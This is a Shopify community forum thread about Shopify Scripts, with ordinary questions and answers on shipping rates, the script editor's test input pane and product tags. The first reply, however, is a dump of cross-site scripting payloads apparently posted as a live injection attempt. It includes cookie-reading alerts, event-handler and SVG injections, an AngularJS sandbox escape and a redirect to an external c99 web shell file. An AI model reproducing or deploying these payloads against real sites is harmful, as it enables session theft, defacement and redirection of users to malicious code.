Introducing Shopify Scripts: Customize the business logic of your Shopify store

New Member
1 0 0

“> z" onmouseover="alert('Hackerone')" style="position:fixed;left:0;top:0;width:9999px;height:9999px;"> /*-->]]>%>?>'-/"/-alert(1)//> "x> javascript:alert(document.cookie) //'/<@/>-->12')//"<!-- <sVg/oNloAd=//><sVg/oNloAd=alert("XSS2")//> </script><svg/onload=';alert(document.cookie);'> \><plaintext/onmouseover=prompt(document.cookie)><script>prompt(document.cookie)</script>@gmail.com<isindex "><img src="1.jpg"onerror=javascript:alert("document.cookie")> "><a href=javascript:prompt(1)>Clickme</a> "><a href="javascript:confirm%28 1%29">Clickme</a> "><img src=x onerror=co\u006efir\u006d`1`> "><svg/onload=co\u006efir\u006d`1`> "><h1 onclick=co\u006efir\u006d(1)>Clickme</h1> "><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a> test"><img src=x onerror=prompt(domain)> ';</script>">'><SCrIPT>alert(String.fromCharCode(88,83,83))</scRipt> ';'>"><marquee>test</marquee><plaintext/onmouseover=prompt(test)> <svg onload="void 'javascript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d %0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'; "></svg> '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></| \><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->">"> window.location="http://www.c99txt.net/s/c99.txt" "> "> ">"><a/ data-cke-saved-href=javascript:co\u006efir\u006d("1") href=javascript:co\u006efir\u006d("1")>clickme</a> "><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome "><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme "><img/ data-cke-saved-src=x%0Aonerror=prompt`1` src=x%0Aonerror=prompt`1`> "><iframe srcdoc="<img src=x:x onerror=alert(1)>"> "><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1> javascript://alert(document.domain);%2f%2f@ <a target="_blank" data-cke-saved-href="http://q-x.ath.cx/test" href="http://q-x.ath.cx/test" onclick="alert(document.cookie);" '="">http://q-x.ath.cx/test'onclick="alert(document.cookie);"</a> {{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,prompt(document.domain)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; }}

0 Likes
Shopify Partner
14 0 2

Does anyone know how to create a Shipping rate within the scripts editor app? or does that need to be done elsewhere using the Carrier Calculated API?

The use is for expedited shipping. So if a product is in your cart show expedited shipping rate.

Chris Weachock
0 Likes
Shopify Expert
9965 84 1467

Shopify Scripts won't add rates - only adjust or hide that ones that are returned. If you need something to add rates that's either done directly in the Admin or as you've suspected - the CarrierService API.

★ Winning Partner of the Build a Business competition. ★ http://freakdesign.com.au
0 Likes
Shopify Partner
14 0 2

thanks so much Jason! You are the bomb!

Do you know what the input function does next to the code button where you can edit scripts? Is that just for an example or if you add a product or products in that section does that script affect those product(s) and only those produc(s)?

here's a screenshot: https://www.screencast.com/t/kBnRarb0

-Chris

Chris Weachock
0 Likes
Shopify Expert
9965 84 1467

The input button us the UI for swapping between the code view and the section where you can modify the aspects of the cart your testing against. You can add whatever customer, products, etc in that section to make sure your script is running as expected.

★ Winning Partner of the Build a Business competition. ★ http://freakdesign.com.au
0 Likes
Shopify Partner
14 0 2

Oh ok so it's just for testing. Understand. We can't do any liquid logic or anyting using this app at all? So if a product is not in the cart or is in the cart this script will or won't fire based on product conditions like a product tag?

Chris Weachock
0 Likes
Highlighted
Shopify Expert
9965 84 1467

Shopify Scripts can see the tags on products in the cart so you can build that logic in as you need. Take a look at the docs to see what properties are available.

Liquid is not available but don't see why you'd need it.

★ Winning Partner of the Build a Business competition. ★ http://freakdesign.com.au
0 Likes
New Member
1 0 0

Hello, i really like something like a tutorial from scratch about how to create a completily app, from Auth, to manage inside the store, i can pay for it, i really need due to i'm a woocommerce developer and my company is going to migrate to shopify, please help me with this issue.

regards

Antonio Rodriguez

0 Likes